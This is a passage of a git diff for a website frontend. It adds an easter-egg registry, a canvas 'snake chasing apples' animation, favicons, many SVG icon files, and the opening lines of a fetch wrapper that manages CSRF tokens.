方法的实例。 + */ + const registry = { + effects: Object.create(null), + + /** + * 注册彩蛋。 + * @param {string} effectName + * @param {(context: object) => { destroy: Function }} factory + */ + register(effectName, factory) { + const key = (effectName || '').trim().toLowerCase(); + if (!key) { + console.warn('[EasterEggRegistry] 忽略空 effectName'); + return; + } + if (typeof factory !== 'function') { + console.warn('[EasterEggRegistry] 注册失败,factory 不是函数:', effectName); + return; + } + this.effects[key] = factory; + }, + + /** + * 创建彩蛋实例。 + * @param {string} effectName + * @param {object} context + * @returns {object|null} + */ + start(effectName, context = {}) { + const key = (effectName || '').trim().toLowerCase(); + const factory = this.effects[key]; + if (!factory) { + console.warn('[EasterEggRegistry] 未找到特效:', effectName); + return null; + } + try { + const instance = factory({ + ...context, + effect: key, + }); + if (!instance || typeof instance.destroy !== 'function') { + console.warn('[EasterEggRegistry] 特效未返回 destroy 方法:', effectName); + return null; + } + return instance; + } catch (error) { + console.error('[EasterEggRegistry] 特效初始化失败:', effectName, error); + return null; + } + }, + + has(effectName) { + const key = (effectName || '').trim().toLowerCase(); + return Boolean(this.effects[key]); + }, + + list() { + return Object.keys(this.effects); + }, + }; + + global.EasterEggRegistry = registry; +})(window); diff --git a/website-design/exp/static/easter-eggs/snake.css b/website-design/exp/static/easter-eggs/snake.css new file mode 100644 index 00000000..2a2002c2 --- /dev/null +++ b/website-design/exp/static/easter-eggs/snake.css @@ -0,0 +1,13 @@ +.easter-egg-overlay .snake-overlay { + position: absolute; + inset: 0; + pointer-events: none; + background: transparent; +} + +.easter-egg-overlay canvas.snake-canvas { + display: block; + width: 100%; + height: 100%; + background: transparent; +} diff --git a/website-design/exp/static/easter-eggs/snake.js b/website-design/exp/static/easter-eggs/snake.js new file mode 100644 index 00000000..4616b629 --- /dev/null +++ b/website-design/exp/static/easter-eggs/snake.js @@ -0,0 +1,503 @@ +(function registerSnakeEffect(global) { + const registry = global.EasterEggRegistry; + if (!registry) { + console.error('[easter-eggs:snake] 未找到 EasterEggRegistry,无法注册特效'); + return; + } + + registry.register('snake', function createSnakeEffect(context = {}) { + const root = context.root; + if (!root) { + throw new Error('缺少彩蛋根节点'); + } + const payload = context.payload || {}; + + const container = document.createElement('div'); + container.className = 'snake-overlay'; + + const canvas = document.createElement('canvas'); + canvas.className = 'snake-canvas'; + container.appendChild(canvas); + root.appendChild(container); + + const effect = new SnakeEffect(container, canvas, payload, context.app); + + return { + destroy(options = {}) { + return effect.stop(options); + } + }; + }); + + class SnakeEffect { + constructor(container, canvas, payload, app) { + this.container = container; + this.canvas = canvas; + this.ctx = canvas.getContext('2d'); + this.payload = payload || {}; + this.app = app || null; + this.targetApples = Math.max(1, Math.floor(Number(this.payload.apples_target) || 10)); + this.initialApples = Math.max(1, Math.floor(Number(this.payload.initial_apples) || 3)); + this.apples = []; + this.applesEaten = 0; + this.appleFadeInDuration = 800; + this.appleFadeOutDuration = 1500; + this.finalRun = false; + this.running = true; + this.finished = false; + this.cleanupRequested = false; + this.cleanupResolve = null; + this.cleanupPromise = new Promise((resolve) => { + this.cleanupResolve = resolve; + }); + this.appNotified = false; + this.pendingResizeId = null; + + this.resize = this.resize.bind(this); + window.addEventListener('resize', this.resize); + this.resize(); + this.scheduleResize(); + + this.snake = new Snake(this); + + const spawnTime = typeof performance !== 'undefined' ? performance.now() : Date.now(); + for (let i = 0; i < this.initialApples; i++) { + this.apples.push(this.createApple(spawnTime)); + } + + this.animate = this.animate.bind(this); + this.lastTime = 0; + this.frameInterval = 1000 / 60; + this.rafId = requestAnimationFrame(this.animate); + } + + scheduleResize() { + if (this.pendingResizeId) { + cancelAnimationFrame(this.pendingResizeId); + } + this.pendingResizeId = requestAnimationFrame(() => { + this.pendingResizeId = null; + this.resize(); + }); + } + + resize() { + const rect = this.container.getBoundingClientRect(); + let width = Math.floor(rect.width); + let height = Math.floor(rect.height); + + if (width < 2 || height < 2) { + width = window.innerWidth || document.documentElement.clientWidth || 1; + height = window.innerHeight || document.documentElement.clientHeight || 1; + } + + width = Math.max(1, width); + height = Math.max(1, height); + if (this.canvas.width !== width || this.canvas.height !== height) { + this.canvas.width = width; + this.canvas.height = height; + if (this.snake && typeof this.snake.handleResize === 'function') { + this.snake.handleResize(width, height); + } + } + } + + createApple(timestamp = null) { + const margin = 60; + const width = this.canvas.width; + const height = this.canvas.height; + const now = timestamp != null + ? timestamp + : (typeof performance !== 'undefined' ? performance.now() : Date.now()); + return { + x: margin + Math.random() * Math.max(1, width - margin * 2), + y: margin + Math.random() * Math.max(1, height - margin * 2), + opacity: 0, + fadeInStart: now, + fadeOutStart: null + }; + } + + handleAppleConsumed(index) { + this.applesEaten += 1; + const reachedGoal = this.applesEaten >= this.targetApples; + if (reachedGoal) { + this.apples.splice(index, 1); + this.startFinalRun(); + } else if (this.apples[index]) { + const now = typeof performance !== 'undefined' ? performance.now() : Date.now(); + this.apples[index] = this.createApple(now); + } + } + + startFinalRun(force = false) { + if (this.finalRun) { + return; + } + this.finalRun = true; + this.appleFadeOutStart = typeof performance !== 'undefined' ? performance.now() : Date.now(); + this.apples.forEach((apple) => { + apple.fadeOutStart = this.appleFadeOutStart; + }); + this.snake.beginFinalRun(); + if (force) { + this.applesEaten = Math.max(this.applesEaten, this.targetApples); + } + } + + drawApples(timestamp) { + const ctx = this.ctx; + const now = timestamp != null + ? timestamp + : (typeof performance !== 'undefined' ? performance.now() : Date.now()); + for (let i = this.apples.length - 1; i >= 0; i--) { + const apple = this.apples[i]; + if (apple.fadeOutStart) { + const progress = Math.min(1, (now - apple.fadeOutStart) / this.appleFadeOutDuration); + apple.opacity = 1 - progress; + if (apple.opacity <= 0.02) { + this.apples.splice(i, 1); + continue; + } + } else if (apple.fadeInStart) { + const progress = Math.min(1, (now - apple.fadeInStart) / this.appleFadeInDuration); + apple.opacity = progress; + if (apple.opacity >= 0.995) { + apple.fadeInStart = null; + apple.opacity = 1; + } + } else { + apple.opacity = 1; + } + + ctx.fillStyle = `hsla(${this.snake.hue}, 70%, 65%, ${apple.opacity})`; + ctx.beginPath(); + ctx.arc(apple.x, apple.y, 14, 0, Math.PI * 2); + ctx.fill(); + } + } + + animate(timestamp) { + if (!this.running) { + return; + } + this.rafId = requestAnimationFrame(this.animate); + const elapsed = timestamp - this.lastTime; + if (elapsed < this.frameInterval) { + return; + } + this.lastTime = timestamp - (elapsed % this.frameInterval); + + this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height); + + this.snake.findNearestApple(); + this.snake.update(); + this.drawApples(timestamp); + this.snake.draw(); + + if (this.finalRun && this.apples.length === 0 && this.snake.isCompletelyOffscreen(80)) { + this.finish(false, !this.cleanupRequested); + } + } + + stop(options = {}) { + const immediate = Boolean(options && options.immediate); + if (immediate) { + this.cleanupRequested = true; + this.finish(true, false); + return null; + } + if (this.finished) { + return this.cleanupPromise; + } + this.cleanupRequested = true; + if (!this.finalRun) { + this.startFinalRun(true); + } + return this.cleanupPromise; + } + + finish(immediate = false, notifyCompletion = false) { + if (this.finished) { + return; + } + this.finished = true; + this.running = false; + if (this.rafId) { + cancelAnimationFrame(this.rafId); + this.rafId = null; + } + if (this.pendingResizeId) { + cancelAnimationFrame(this.pendingResizeId); + this.pendingResizeId = null; + } + window.removeEventListener('resize', this.resize); + if (this.container && this.container.parentNode) { + this.container.parentNode.removeChild(this.container); + } + if (this.cleanupResolve) { + this.cleanupResolve(); + this.cleanupResolve = null; + } + if (immediate) { + this.apples.length = 0; + } + if (notifyCompletion && !this.cleanupRequested) { + this.notifyAppForCleanup(); + } + } + + notifyAppForCleanup() { + if (this.appNotified) { + return; + } + this.appNotified = true; + if (this.app && typeof this.app.destroyEasterEggEffect === 'function') { + setTimeout(() => { + try { + this.app.destroyEasterEggEffect(true); + } catch (error) { + console.warn('自动清理贪吃蛇彩蛋失败:', error); + } + }, 0); + } + } + } + + class Snake { + constructor(effect) { + this.effect = effect; + this.canvas = effect.canvas; + this.ctx = effect.ctx; + this.radius = 14; + this.targetLength = 28; + this.currentLength = 28; + this.speed = 2; + this.angle = 0; + this.targetAngle = 0; + this.hue = 30; + this.currentTarget = null; + this.targetStartTime = Date.now(); + this.targetTimeout = 10000; + this.timedOut = false; + this.finalRunAngle = null; + this.initializeEntryPosition(); + } + + initializeEntryPosition() { + const width = this.canvas.width; + const height = this.canvas.height; + const margin = 120; + const side = Math.floor(Math.random() * 4); + let startX; + let startY; + switch (side) { + case 0: + startX = -margin; + startY = Math.random() * height; + break; + case 1: + startX = width + margin; + startY = Math.random() * height; + break; + case 2: + startX = Math.random() * width; + startY = -margin; + break; + default: + startX = Math.random() * width; + startY = height + margin; + } + const targetX = width / 2; + const targetY = height / 2; + const entryAngle = Math.atan2(targetY - startY, targetX - startX); + this.angle = entryAngle; + this.targetAngle = entryAngle; + const tailX = startX - Math.cos(entryAngle) * this.targetLength; + const tailY = startY - Math.sin(entryAngle) * this.targetLength; + this.path = [ + { x: startX, y: startY }, + { x: tailX, y: tailY } + ]; + } + + handleResize(width, height) { + this.path.forEach((point) => { + point.x = Math.max(-40, Math.min(width + 40, point.x)); + point.y = Math.max(-40, Math.min(height + 40, point.y)); + }); + } + + findNearestApple() { + if (this.effect.finalRun) { + return; + } + const apples = this.effect.apples; + if (!apples.length) { + this.currentTarget = null; + return; + } + + const now = Date.now(); + if (this.currentTarget && (now - this.targetStartTime) < this.targetTimeout) { + const targetStillExists = apples.includes(this.currentTarget); + if (targetStillExists) { + const dx = this.currentTarget.x - this.path[0].x; + const dy = this.currentTarget.y - this.path[0].y; + this.targetAngle = Math.atan2(dy, dx); + this.timedOut = false; + return; + } + } + + let targetApple = null; + let targetDistance = this.timedOut ? -Infinity : Infinity; + + apples.forEach((apple) => { + const dx = apple.x - this.path[0].x; + const dy = apple.y - this.path[0].y; + const distance = Math.sqrt(dx * dx + dy * dy); + + if (this.timedOut) { + if (distance > targetDistance) { + targetDistance = distance; + targetApple = apple; + } + } else if (distance < targetDistance) { + targetDistance = distance; + targetApple = apple; + } + }); + + if (targetApple) { + if (this.currentTarget !== targetApple) { + this.currentTarget = targetApple; + this.targetStartTime = now; + this.timedOut = false; + } else if ((now - this.targetStartTime) >= this.targetTimeout) { + this.timedOut = true; + } + + const dx = targetApple.x - this.path[0].x; + const dy = targetApple.y - this.path[0].y; + this.targetAngle = Math.atan2(dy, dx); + } + } + + beginFinalRun() { + if (this.finalRunAngle == null) { + this.finalRunAngle = this.angle; + } + this.targetAngle = this.finalRunAngle; + this.currentTarget = null; + } + + update() { + if (!this.effect.finalRun) { + let angleDiff = this.targetAngle - this.angle; + while (angleDiff > Math.PI) angleDiff -= 2 * Math.PI; + while (angleDiff < -Math.PI) angleDiff += 2 * Math.PI; + const maxTurnRate = 0.03; + this.angle += angleDiff * maxTurnRate; + } else if (this.finalRunAngle != null) { + this.angle = this.finalRunAngle; + } + + const head = { ...this.path[0] }; + head.x += Math.cos(this.angle) * this.speed; + head.y += Math.sin(this.angle) * this.speed; + if (!this.effect.finalRun) { + const margin = 0; + if (head.x < -margin) head.x = -margin; + if (head.x > this.canvas.width + margin) head.x = this.canvas.width + margin; + if (head.y < -margin) head.y = -margin; + if (head.y > this.canvas.height + margin) head.y = this.canvas.height + margin; + } + + this.path.unshift(head); + + if (!this.effect.finalRun) { + this.checkApples(head); + } + + this.trimPath(); + } + + checkApples(head) { + const apples = this.effect.apples; + for (let i = 0; i < apples.length; i++) { + const apple = apples[i]; + const dx = head.x - apple.x; + const dy = head.y - apple.y; + const distance = Math.sqrt(dx * dx + dy * dy); + + if (distance < this.radius + 14) { + this.targetLength += 28 * 3; + this.currentTarget = null; + this.effect.handleAppleConsumed(i); + break; + } + } + } + + trimPath() { + let pathLength = 0; + for (let i = 0; i < this.path.length - 1; i++) { + const dx = this.path[i].x - this.path[i + 1].x; + const dy = this.path[i].y - this.path[i + 1].y; + pathLength += Math.sqrt(dx * dx + dy * dy); + } + + while (this.path.length > 2 && pathLength > this.targetLength) { + const last = this.path[this.path.length - 1]; + const secondLast = this.path[this.path.length - 2]; + const dx = secondLast.x - last.x; + const dy = secondLast.y - last.y; + const segmentLength = Math.sqrt(dx * dx + dy * dy); + + if (pathLength - segmentLength >= this.targetLength) { + this.path.pop(); + pathLength -= segmentLength; + } else { + break; + } + } + + this.currentLength = pathLength; + } + + draw() { + if (this.path.length < 2) { + return; + } + const ctx = this.ctx; + ctx.strokeStyle = `hsl(${this.hue}, 70%, 65%)`; + ctx.lineWidth = this.radius * 2; + ctx.lineCap = 'round'; + ctx.lineJoin = 'round'; + ctx.shadowBlur = 20; + ctx.shadowColor = `hsl(${this.hue}, 80%, 55%)`; + + ctx.beginPath(); + ctx.moveTo(this.path[0].x, this.path[0].y); + for (let i = 1; i < this.path.length; i++) { + ctx.lineTo(this.path[i].x, this.path[i].y); + } + ctx.stroke(); + ctx.shadowBlur = 0; + } + + isCompletelyOffscreen(margin = 40) { + const width = this.canvas.width; + const height = this.canvas.height; + return this.path.every((point) => { + return ( + point.x < -margin || + point.x > width + margin || + point.y < -margin || + point.y > height + margin + ); + }); + } + } +})(window); diff --git a/website-design/exp/static/favicon-16x16.png b/website-design/exp/static/favicon-16x16.png new file mode 100644 index 00000000..281dd8a9 Binary files /dev/null and b/website-design/exp/static/favicon-16x16.png differ diff --git a/website-design/exp/static/favicon-32x32.png b/website-design/exp/static/favicon-32x32.png new file mode 100644 index 00000000..8f574848 Binary files /dev/null and b/website-design/exp/static/favicon-32x32.png differ diff --git a/website-design/exp/static/icons/align-left.svg b/website-design/exp/static/icons/align-left.svg new file mode 100644 index 00000000..b779e07c --- /dev/null +++ b/website-design/exp/static/icons/align-left.svg @@ -0,0 +1,3 @@ + + + diff --git a/website-design/exp/static/icons/arrow-left.svg b/website-design/exp/static/icons/arrow-left.svg new file mode 100644 index 00000000..b40bff85 --- /dev/null +++ b/website-design/exp/static/icons/arrow-left.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/bell.svg b/website-design/exp/static/icons/bell.svg new file mode 100644 index 00000000..6928ea26 --- /dev/null +++ b/website-design/exp/static/icons/bell.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/book.svg b/website-design/exp/static/icons/book.svg new file mode 100644 index 00000000..4abdae30 --- /dev/null +++ b/website-design/exp/static/icons/book.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/bot.svg b/website-design/exp/static/icons/bot.svg new file mode 100644 index 00000000..1a622f9d --- /dev/null +++ b/website-design/exp/static/icons/bot.svg @@ -0,0 +1,18 @@ + + + + + + + + diff --git a/website-design/exp/static/icons/brain-cog.svg b/website-design/exp/static/icons/brain-cog.svg new file mode 100644 index 00000000..777a2a7c --- /dev/null +++ b/website-design/exp/static/icons/brain-cog.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/brain.svg b/website-design/exp/static/icons/brain.svg new file mode 100644 index 00000000..25cbe755 --- /dev/null +++ b/website-design/exp/static/icons/brain.svg @@ -0,0 +1,20 @@ + + + + + + + + + + diff --git a/website-design/exp/static/icons/camera.svg b/website-design/exp/static/icons/camera.svg new file mode 100644 index 00000000..1e82bf45 --- /dev/null +++ b/website-design/exp/static/icons/camera.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/chat-bubble.svg b/website-design/exp/static/icons/chat-bubble.svg new file mode 100644 index 00000000..7026581c --- /dev/null +++ b/website-design/exp/static/icons/chat-bubble.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/website-design/exp/static/icons/check.svg b/website-design/exp/static/icons/check.svg new file mode 100644 index 00000000..5abe1527 --- /dev/null +++ b/website-design/exp/static/icons/check.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/checkbox.svg b/website-design/exp/static/icons/checkbox.svg new file mode 100644 index 00000000..b4f15656 --- /dev/null +++ b/website-design/exp/static/icons/checkbox.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/chevron-down.svg b/website-design/exp/static/icons/chevron-down.svg new file mode 100644 index 00000000..e70d30b8 --- /dev/null +++ b/website-design/exp/static/icons/chevron-down.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/circle-alert.svg b/website-design/exp/static/icons/circle-alert.svg new file mode 100644 index 00000000..578d25c0 --- /dev/null +++ b/website-design/exp/static/icons/circle-alert.svg @@ -0,0 +1,15 @@ + + + + + diff --git a/website-design/exp/static/icons/clipboard.svg b/website-design/exp/static/icons/clipboard.svg new file mode 100644 index 00000000..de4cc013 --- /dev/null +++ b/website-design/exp/static/icons/clipboard.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/clock.svg b/website-design/exp/static/icons/clock.svg new file mode 100644 index 00000000..ff6a4fbe --- /dev/null +++ b/website-design/exp/static/icons/clock.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/copy.svg b/website-design/exp/static/icons/copy.svg new file mode 100644 index 00000000..75c8d638 --- /dev/null +++ b/website-design/exp/static/icons/copy.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/eye.svg b/website-design/exp/static/icons/eye.svg new file mode 100644 index 00000000..e5e78706 --- /dev/null +++ b/website-design/exp/static/icons/eye.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/file-down.svg b/website-design/exp/static/icons/file-down.svg new file mode 100644 index 00000000..3a658510 --- /dev/null +++ b/website-design/exp/static/icons/file-down.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/file-pen.svg b/website-design/exp/static/icons/file-pen.svg new file mode 100644 index 00000000..aa5cc3ae --- /dev/null +++ b/website-design/exp/static/icons/file-pen.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/file.svg b/website-design/exp/static/icons/file.svg new file mode 100644 index 00000000..161be7a2 --- /dev/null +++ b/website-design/exp/static/icons/file.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/flag.svg b/website-design/exp/static/icons/flag.svg new file mode 100644 index 00000000..7a15001d --- /dev/null +++ b/website-design/exp/static/icons/flag.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/flask-conical.svg b/website-design/exp/static/icons/flask-conical.svg new file mode 100644 index 00000000..90ad9ea0 --- /dev/null +++ b/website-design/exp/static/icons/flask-conical.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/folder-closed.svg b/website-design/exp/static/icons/folder-closed.svg new file mode 100644 index 00000000..ef69b345 --- /dev/null +++ b/website-design/exp/static/icons/folder-closed.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/folder-git-2.svg b/website-design/exp/static/icons/folder-git-2.svg new file mode 100644 index 00000000..f122f047 --- /dev/null +++ b/website-design/exp/static/icons/folder-git-2.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/folder-open.svg b/website-design/exp/static/icons/folder-open.svg new file mode 100644 index 00000000..07e3b8fe --- /dev/null +++ b/website-design/exp/static/icons/folder-open.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/folder.svg b/website-design/exp/static/icons/folder.svg new file mode 100644 index 00000000..ef69b345 --- /dev/null +++ b/website-design/exp/static/icons/folder.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/git-branch.svg b/website-design/exp/static/icons/git-branch.svg new file mode 100644 index 00000000..f916ff40 --- /dev/null +++ b/website-design/exp/static/icons/git-branch.svg @@ -0,0 +1,16 @@ + + + + + + diff --git a/website-design/exp/static/icons/git-fork.svg b/website-design/exp/static/icons/git-fork.svg new file mode 100644 index 00000000..7ad04cf7 --- /dev/null +++ b/website-design/exp/static/icons/git-fork.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/globe.svg b/website-design/exp/static/icons/globe.svg new file mode 100644 index 00000000..53c80ee3 --- /dev/null +++ b/website-design/exp/static/icons/globe.svg @@ -0,0 +1,15 @@ + + + + + diff --git a/website-design/exp/static/icons/graduation-cap.svg b/website-design/exp/static/icons/graduation-cap.svg new file mode 100644 index 00000000..c0d186b1 --- /dev/null +++ b/website-design/exp/static/icons/graduation-cap.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/hammer.svg b/website-design/exp/static/icons/hammer.svg new file mode 100644 index 00000000..0f393235 --- /dev/null +++ b/website-design/exp/static/icons/hammer.svg @@ -0,0 +1,15 @@ + + + + + diff --git a/website-design/exp/static/icons/info.svg b/website-design/exp/static/icons/info.svg new file mode 100644 index 00000000..49db3023 --- /dev/null +++ b/website-design/exp/static/icons/info.svg @@ -0,0 +1,15 @@ + + + + + diff --git a/website-design/exp/static/icons/keyboard.svg b/website-design/exp/static/icons/keyboard.svg new file mode 100644 index 00000000..f5ad9f14 --- /dev/null +++ b/website-design/exp/static/icons/keyboard.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/laptop.svg b/website-design/exp/static/icons/laptop.svg new file mode 100644 index 00000000..613afff3 --- /dev/null +++ b/website-design/exp/static/icons/laptop.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/layers.svg b/website-design/exp/static/icons/layers.svg new file mode 100644 index 00000000..a36c416e --- /dev/null +++ b/website-design/exp/static/icons/layers.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/layout-grid.svg b/website-design/exp/static/icons/layout-grid.svg new file mode 100644 index 00000000..f8eca3a7 --- /dev/null +++ b/website-design/exp/static/icons/layout-grid.svg @@ -0,0 +1,16 @@ + + + + + + diff --git a/website-design/exp/static/icons/mcp-logo.svg b/website-design/exp/static/icons/mcp-logo.svg new file mode 100644 index 00000000..03d9f85d --- /dev/null +++ b/website-design/exp/static/icons/mcp-logo.svg @@ -0,0 +1,12 @@ + + + + + + + + + + + + diff --git a/website-design/exp/static/icons/menu.svg b/website-design/exp/static/icons/menu.svg new file mode 100644 index 00000000..0ec97458 --- /dev/null +++ b/website-design/exp/static/icons/menu.svg @@ -0,0 +1,15 @@ + + + + + diff --git a/website-design/exp/static/icons/message-circle-question-mark.svg b/website-design/exp/static/icons/message-circle-question-mark.svg new file mode 100644 index 00000000..8fa6a307 --- /dev/null +++ b/website-design/exp/static/icons/message-circle-question-mark.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/mic.svg b/website-design/exp/static/icons/mic.svg new file mode 100644 index 00000000..d0dc8ed4 --- /dev/null +++ b/website-design/exp/static/icons/mic.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/monitor.svg b/website-design/exp/static/icons/monitor.svg new file mode 100644 index 00000000..e869f2f2 --- /dev/null +++ b/website-design/exp/static/icons/monitor.svg @@ -0,0 +1,15 @@ + + + + + diff --git a/website-design/exp/static/icons/mouse-pointer-2.svg b/website-design/exp/static/icons/mouse-pointer-2.svg new file mode 100644 index 00000000..983109b5 --- /dev/null +++ b/website-design/exp/static/icons/mouse-pointer-2.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/mouse-pointer-click.svg b/website-design/exp/static/icons/mouse-pointer-click.svg new file mode 100644 index 00000000..cd28cb73 --- /dev/null +++ b/website-design/exp/static/icons/mouse-pointer-click.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/navigation.svg b/website-design/exp/static/icons/navigation.svg new file mode 100644 index 00000000..deb338d6 --- /dev/null +++ b/website-design/exp/static/icons/navigation.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/notebook-pen.svg b/website-design/exp/static/icons/notebook-pen.svg new file mode 100644 index 00000000..6892d7c9 --- /dev/null +++ b/website-design/exp/static/icons/notebook-pen.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/notebook-search.svg b/website-design/exp/static/icons/notebook-search.svg new file mode 100644 index 00000000..a547706d --- /dev/null +++ b/website-design/exp/static/icons/notebook-search.svg @@ -0,0 +1 @@ + diff --git a/website-design/exp/static/icons/notebook.svg b/website-design/exp/static/icons/notebook.svg new file mode 100644 index 00000000..b50cf385 --- /dev/null +++ b/website-design/exp/static/icons/notebook.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/octagon.svg b/website-design/exp/static/icons/octagon.svg new file mode 100644 index 00000000..b5980951 --- /dev/null +++ b/website-design/exp/static/icons/octagon.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/pencil.svg b/website-design/exp/static/icons/pencil.svg new file mode 100644 index 00000000..7384498e --- /dev/null +++ b/website-design/exp/static/icons/pencil.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/play.svg b/website-design/exp/static/icons/play.svg new file mode 100644 index 00000000..5bd511c1 --- /dev/null +++ b/website-design/exp/static/icons/play.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/plus.svg b/website-design/exp/static/icons/plus.svg new file mode 100644 index 00000000..41f92bb9 --- /dev/null +++ b/website-design/exp/static/icons/plus.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/python.svg b/website-design/exp/static/icons/python.svg new file mode 100644 index 00000000..30587d81 --- /dev/null +++ b/website-design/exp/static/icons/python.svg @@ -0,0 +1 @@ +Python \ No newline at end of file diff --git a/website-design/exp/static/icons/recycle.svg b/website-design/exp/static/icons/recycle.svg new file mode 100644 index 00000000..bd207b30 --- /dev/null +++ b/website-design/exp/static/icons/recycle.svg @@ -0,0 +1,18 @@ + + + + + + + + diff --git a/website-design/exp/static/icons/refresh-cw.svg b/website-design/exp/static/icons/refresh-cw.svg new file mode 100644 index 00000000..2e2fd98b --- /dev/null +++ b/website-design/exp/static/icons/refresh-cw.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/save.svg b/website-design/exp/static/icons/save.svg new file mode 100644 index 00000000..07af0708 --- /dev/null +++ b/website-design/exp/static/icons/save.svg @@ -0,0 +1,15 @@ + + + + + diff --git a/website-design/exp/static/icons/search.svg b/website-design/exp/static/icons/search.svg new file mode 100644 index 00000000..03e442a5 --- /dev/null +++ b/website-design/exp/static/icons/search.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/settings.svg b/website-design/exp/static/icons/settings.svg new file mode 100644 index 00000000..4c6263af --- /dev/null +++ b/website-design/exp/static/icons/settings.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/sparkles.svg b/website-design/exp/static/icons/sparkles.svg new file mode 100644 index 00000000..2d749398 --- /dev/null +++ b/website-design/exp/static/icons/sparkles.svg @@ -0,0 +1,16 @@ + + + + + + diff --git a/website-design/exp/static/icons/sticky-note.svg b/website-design/exp/static/icons/sticky-note.svg new file mode 100644 index 00000000..25f5cad1 --- /dev/null +++ b/website-design/exp/static/icons/sticky-note.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/terminal.svg b/website-design/exp/static/icons/terminal.svg new file mode 100644 index 00000000..c09409f4 --- /dev/null +++ b/website-design/exp/static/icons/terminal.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/trash.svg b/website-design/exp/static/icons/trash.svg new file mode 100644 index 00000000..690270a5 --- /dev/null +++ b/website-design/exp/static/icons/trash.svg @@ -0,0 +1,15 @@ + + + + + diff --git a/website-design/exp/static/icons/triangle-alert.svg b/website-design/exp/static/icons/triangle-alert.svg new file mode 100644 index 00000000..3232fb06 --- /dev/null +++ b/website-design/exp/static/icons/triangle-alert.svg @@ -0,0 +1,15 @@ + + + + + diff --git a/website-design/exp/static/icons/user-pen.svg b/website-design/exp/static/icons/user-pen.svg new file mode 100644 index 00000000..70183947 --- /dev/null +++ b/website-design/exp/static/icons/user-pen.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/user.svg b/website-design/exp/static/icons/user.svg new file mode 100644 index 00000000..8e61592b --- /dev/null +++ b/website-design/exp/static/icons/user.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/workflow.svg b/website-design/exp/static/icons/workflow.svg new file mode 100644 index 00000000..811aeff1 --- /dev/null +++ b/website-design/exp/static/icons/workflow.svg @@ -0,0 +1,24 @@ + + + + + + + + + + + + + + diff --git a/website-design/exp/static/icons/wrench.svg b/website-design/exp/static/icons/wrench.svg new file mode 100644 index 00000000..36243432 --- /dev/null +++ b/website-design/exp/static/icons/wrench.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/x.svg b/website-design/exp/static/icons/x.svg new file mode 100644 index 00000000..e3179434 --- /dev/null +++ b/website-design/exp/static/icons/x.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/zap.svg b/website-design/exp/static/icons/zap.svg new file mode 100644 index 00000000..a64ccff7 --- /dev/null +++ b/website-design/exp/static/icons/zap.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/security.js b/website-design/exp/static/security.js new file mode 100644 index 00000000..f2cdd8e7 --- /dev/null +++ b/website-design/exp/static/security.js @@ -0,0 +1,109 @@ +(function () { + if (window.__secureFetchWrapped) { + return; + } + if (typeof window.fetch !== 'function') { + return; + } + + window.__secureFetchWrapped = true; + const SAFE_METHODS = new Set(['GET', 'HEAD', 'OPTIONS', 'TRACE']); + const originalFetch = window.fetch.bind(window); + const csrfState = { + token: null, + inflight: null + }; + + 